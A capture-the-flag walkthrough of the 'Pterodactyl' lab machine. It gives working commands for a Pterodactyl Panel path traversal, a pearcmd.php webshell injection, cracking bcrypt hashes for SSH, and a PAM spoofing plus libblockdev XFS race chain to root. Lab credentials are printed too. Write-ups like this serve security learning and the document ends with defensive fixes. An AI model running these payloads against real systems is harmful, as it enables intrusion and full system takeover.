A Medium-rated Linux machine running openSUSE Leap 15.6 with Pterodactyl Panel — a game server management platform. The attack chain: exploit a path traversal in the panel’s locale endpoint (CVE-2025-49132) to leak database credentials and chain with pearcmd.php for RCE, crack a bcrypt hash for SSH, then escalate to root by chaining two recent Linux privilege escalation CVEs — PAM session spoofing (CVE-2025-6018) and a libblockdev nosuid mount bypass via XFS resize (CVE-2025-6019).

Enumeration#

Port Scan#

22/tcp — OpenSSH 9.6 (openSUSE)
80/tcp — nginx 1.21.5, PHP 8.4.8 (FPM)

Virtual Hosts#

Fuzzing reveals three vhosts:

  • pterodactyl.htb — static “MonitorLand” Minecraft server page
  • panel.pterodactyl.htb — Pterodactyl Panel v1.11.10 (Laravel SPA)
  • play.pterodactyl.htb — redirects to main

User Flag#

Step 1 — CVE-2025-49132: Pterodactyl Panel LFI#

The /locales/locale.json endpoint has path traversal via the locale and namespace parameters. This leaks the full Laravel configuration including database credentials:

curl -s "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../pterodactyl&namespace=config/database"

Leaked credentials:

  • Database: pterodactyl / PteraPanel @ 127.0.0.1:3306 / panel
  • APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=

Step 2 — LFI to RCE via pearcmd.php#

Checking phpinfo reveals register_argc_argv=On and PEAR installed. When the LFI includes pearcmd.php, the query string is parsed as CLI arguments — a well-known technique for turning PHP LFI into RCE.

# Write a webshell to /tmp/
curl -s -g "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
+config-create+/<?=system(\$_GET[0]);?>+/tmp/s.php"

# Execute commands via the written shell
curl -s -g "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../tmp&namespace=s&0=id"
# uid=474(wwwrun) gid=477(www)

Step 3 — Database Hash Extraction and Cracking#

Using the webshell to query MySQL via PHP PDO:

$pdo = new PDO("mysql:host=127.0.0.1;dbname=panel", "pterodactyl", "PteraPanel");
$r = $pdo->query("SELECT username, password FROM users");

Two users: headmonitor (bcrypt cost 12, admin) and phileasfogg3 (bcrypt cost 10). The lower-cost hash cracks with john:

john --wordlist=rockyou.txt --format=bcrypt phileas.hash
# phileasfogg3:!QAZ2wsx

Step 4 — SSH Access#

ssh phileasfogg3@pterodactyl.htb
# Password: !QAZ2wsx

User flag captured.

Root Flag#

Enumeration#

The box is openSUSE Leap 15.6 with kernel 6.4.0. Key findings:

  • sudo -l: (ALL) ALL with targetpw — needs the target user’s password
  • No special groups, no custom SUID, no capabilities
  • udisks2 2.9.2 and polkit 121 installed
  • Redis on localhost (protected config)
  • PHP-FPM master as root, workers as wwwrun
  • BTRFS filesystem on /dev/sda1

The targetpw sudoers configuration is the key constraint — you can run commands as any user, but you must provide their password. Without root’s password, sudo su is useless.

Step 5 — CVE-2025-6018: PAM Session Spoofing#

CVE-2025-6018 is a misconfiguration in openSUSE/SUSE 15’s PAM stack that allows SSH users to gain allow_active polkit privileges — normally reserved for physically present console users.

echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
# Re-login via SSH

After re-login, the SSH session is recognized as an active console session:

gdbus call --system --dest org.freedesktop.login1 \
  --object-path /org/freedesktop/login1 \
  --method org.freedesktop.login1.Manager.CanReboot
# ('yes',)

This unlocks polkit actions requiring allow_active, including udisks2 device management.

Step 6 — CVE-2025-6019: libblockdev XFS Resize SUID Mount#

CVE-2025-6019 is the privilege escalation piece. When udisks2 calls libblockdev to resize an XFS filesystem, libblockdev temporarily mounts the filesystem at /tmp/blockdev.* without nosuid or nodev flags. This is the critical difference from udisksctl mount, which always enforces nosuid.

Prepare the malicious XFS image (attacker machine, as root):

dd if=/dev/zero of=xfs.image bs=1M count=300
mkfs.xfs -f xfs.image
mkdir xfs.mount && mount -t xfs xfs.image xfs.mount
cp /bin/bash xfs.mount/bash
chmod 4755 xfs.mount/bash    # SUID root
umount xfs.mount

Transfer to target and exploit:

scp xfs.image phileasfogg3@pterodactyl.htb:/tmp/

The exploit requires winning a race — keeping the mount alive before libblockdev unmounts it after the resize completes:

# Background watcher: open a file descriptor to prevent unmount
(while true; do
    for d in /tmp/blockdev*/; do
        [ -f "${d}bash" ] && exec 9<"${d}bash" && \
        touch /tmp/.race_won && sleep 3600
    done
done) &

# Setup loop device
udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction
# Mapped file /tmp/xfs.image as /dev/loop0.

# Trigger resize — this is where libblockdev mounts WITHOUT nosuid
gdbus call --system --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'

The watcher wins the race on the first attempt:

/dev/loop0 on /tmp/blockdev.GVSEL3 type xfs (rw,relatime,attr2,...)

No nosuid flag in the mount options. Execute the SUID bash:

/tmp/blockdev.GVSEL3/bash -p
# uid=1002(phileasfogg3) gid=100(users) euid=0(root)
cat /root/root.txt

Attack Chain#

panel.pterodactyl.htb (Pterodactyl Panel v1.11.10)
       |
       v
CVE-2025-49132: /locales/locale.json path traversal -> config leak
       |
       v
pearcmd.php LFI-to-RCE chain -> webshell as wwwrun
       |
       v
MySQL via PDO -> bcrypt hashes -> john: phileasfogg3 = !QAZ2wsx
       |
       v
SSH as phileasfogg3 (user flag)
       |
       v
CVE-2025-6018: .pam_environment seat0 spoof -> polkit allow_active
       |
       v
CVE-2025-6019: udisksctl loop-setup + gdbus Filesystem.Resize
  -> libblockdev mounts XFS at /tmp/blockdev* WITHOUT nosuid
  -> race condition: keep mount alive via open fd
  -> SUID bash executes as euid=0
       |
       v
Root shell

Takeaways#

  • pearcmd.php LFI-to-RCE is a powerful primitive. If you have an LFI in a PHP application, check for register_argc_argv=On and PEAR installation — this turns file inclusion into code execution without needing file upload or log poisoning.

  • CVE-2025-6018 + CVE-2025-6019 is a generic privilege escalation chain affecting SUSE/openSUSE 15, Ubuntu, Debian, and Fedora. The PAM misconfiguration (6018) is SUSE-specific, but the libblockdev nosuid omission (6019) affects all distributions shipping udisks2. The fix: change the polkit rule for org.freedesktop.udisks2.modify-device from allow_active=yes to allow_active=auth_admin.

  • Race conditions in privileged daemons are a recurring theme. libblockdev’s temporary mount without nosuid is exploitable because the mount exists long enough to win a race — a simple background file descriptor watcher wins on the first attempt. Temporary mounts in privileged code should always use the most restrictive mount options.

  • targetpw in sudoers is unusual — it requires the target user’s password rather than your own. This shifts the escalation strategy from “find a sudo misconfiguration” to “find the target user’s password or an alternative privilege escalation path.”